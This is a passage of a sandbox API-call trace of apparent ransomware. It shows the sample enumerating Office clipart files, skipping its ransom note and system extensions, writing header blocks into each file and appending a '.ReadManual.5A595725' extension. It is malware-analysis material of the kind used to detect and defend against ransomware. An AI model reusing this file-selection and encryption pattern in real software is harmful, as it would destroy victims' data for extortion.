Office\\CLIPART\\PUB60COR\\J0198377.WMF.ReadManual.5A595725") returned 87 [0268.274] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38894291444) returned 1 [0268.274] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 0x20 [0268.275] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.276] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40300) returned 1 [0268.276] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d6c, lpName=0x0) returned 0x184 [0268.276] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.278] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.278] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.282] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.282] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d6c) returned 0x2f0000 [0268.284] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.285] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38895355674) returned 1 [0268.285] CloseHandle (hObject=0x184) returned 1 [0268.285] SetSecurityInfo () returned 0x57 [0268.285] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.285] CloseHandle (hObject=0x194) returned 1 [0268.285] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198447.WMF", cAlternateFileName="")) returned 1 [0268.285] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198447.WMF" | out: lpString1="J0198447.WMF") returned="J0198447.WMF" [0268.285] lstrcmpiW (lpString1="J0198447.WMF", lpString2="RecoveryManual.html") returned -1 [0268.285] StrStrIW (lpFirst="J0198447.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.286] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.286] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.286] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" [0268.286] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.ReadManual.5A595725" [0268.286] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.ReadManual.5A595725") returned 87 [0268.286] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38895501710) returned 1 [0268.286] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf")) returned 0x20 [0268.287] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.288] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=49676) returned 1 [0268.288] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc20c, lpName=0x0) returned 0x184 [0268.288] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.290] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.290] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.293] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.293] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc20c) returned 0x2f0000 [0268.296] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.296] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38896480668) returned 1 [0268.296] CloseHandle (hObject=0x184) returned 1 [0268.296] SetSecurityInfo () returned 0x57 [0268.296] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.296] CloseHandle (hObject=0x194) returned 1 [0268.297] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xae08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198494.WMF", cAlternateFileName="")) returned 1 [0268.297] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198494.WMF" | out: lpString1="J0198494.WMF") returned="J0198494.WMF" [0268.297] lstrcmpiW (lpString1="J0198494.WMF", lpString2="RecoveryManual.html") returned -1 [0268.297] StrStrIW (lpFirst="J0198494.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.297] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.297] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.298] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.298] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" [0268.298] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.ReadManual.5A595725" [0268.298] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.ReadManual.5A595725") returned 87 [0268.298] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38896655828) returned 1 [0268.298] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf")) returned 0x20 [0268.298] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.299] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=44552) returned 1 [0268.300] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae08, lpName=0x0) returned 0x184 [0268.300] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.301] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.301] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.305] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.306] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae08) returned 0x2f0000 [0268.307] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.307] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38897612597) returned 1 [0268.307] CloseHandle (hObject=0x184) returned 1 [0268.308] SetSecurityInfo () returned 0x57 [0268.308] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.308] CloseHandle (hObject=0x194) returned 1 [0268.308] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe17a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0198712.WMF", cAlternateFileName="")) returned 1 [0268.308] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0198712.WMF" | out: lpString1="J0198712.WMF") returned="J0198712.WMF" [0268.308] lstrcmpiW (lpString1="J0198712.WMF", lpString2="RecoveryManual.html") returned -1 [0268.308] StrStrIW (lpFirst="J0198712.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.308] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.308] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.309] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.309] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.309] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.309] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.309] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" [0268.309] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.ReadManual.5A595725" [0268.309] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.ReadManual.5A595725") returned 87 [0268.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38897766576) returned 1 [0268.309] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf")) returned 0x20 [0268.309] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.310] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=57722) returned 1 [0268.310] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe17a, lpName=0x0) returned 0x184 [0268.311] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.312] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.312] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.321] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.321] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe17a) returned 0x2f0000 [0268.324] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38899292466) returned 1 [0268.324] CloseHandle (hObject=0x184) returned 1 [0268.324] SetSecurityInfo () returned 0x57 [0268.324] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.325] CloseHandle (hObject=0x194) returned 1 [0268.325] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x714e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199279.WMF", cAlternateFileName="")) returned 1 [0268.325] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199279.WMF" | out: lpString1="J0199279.WMF") returned="J0199279.WMF" [0268.325] lstrcmpiW (lpString1="J0199279.WMF", lpString2="RecoveryManual.html") returned -1 [0268.325] StrStrIW (lpFirst="J0199279.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.325] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.325] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.325] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" [0268.325] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.ReadManual.5A595725" [0268.326] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.ReadManual.5A595725") returned 87 [0268.326] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38899456965) returned 1 [0268.326] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf")) returned 0x20 [0268.326] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.327] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29006) returned 1 [0268.327] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x714e, lpName=0x0) returned 0x184 [0268.327] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.329] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.329] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.331] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.331] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x714e) returned 0x2f0000 [0268.332] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.332] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38900066251) returned 1 [0268.332] CloseHandle (hObject=0x184) returned 1 [0268.332] SetSecurityInfo () returned 0x57 [0268.332] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.332] CloseHandle (hObject=0x194) returned 1 [0268.332] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199303.WMF", cAlternateFileName="")) returned 1 [0268.332] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0199303.WMF" | out: lpString1="J0199303.WMF") returned="J0199303.WMF" [0268.332] lstrcmpiW (lpString1="J0199303.WMF", lpString2="RecoveryManual.html") returned -1 [0268.332] StrStrIW (lpFirst="J0199303.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.333] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.333] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.333] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" [0268.333] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.ReadManual.5A595725" [0268.333] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.ReadManual.5A595725") returned 87 [0268.333] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38900205776) returned 1 [0268.333] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf")) returned 0x20 [0268.335] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.335] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31822) returned 1 [0268.335] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c4e, lpName=0x0) returned 0x184 [0268.335] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.337] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.337] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.339] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, 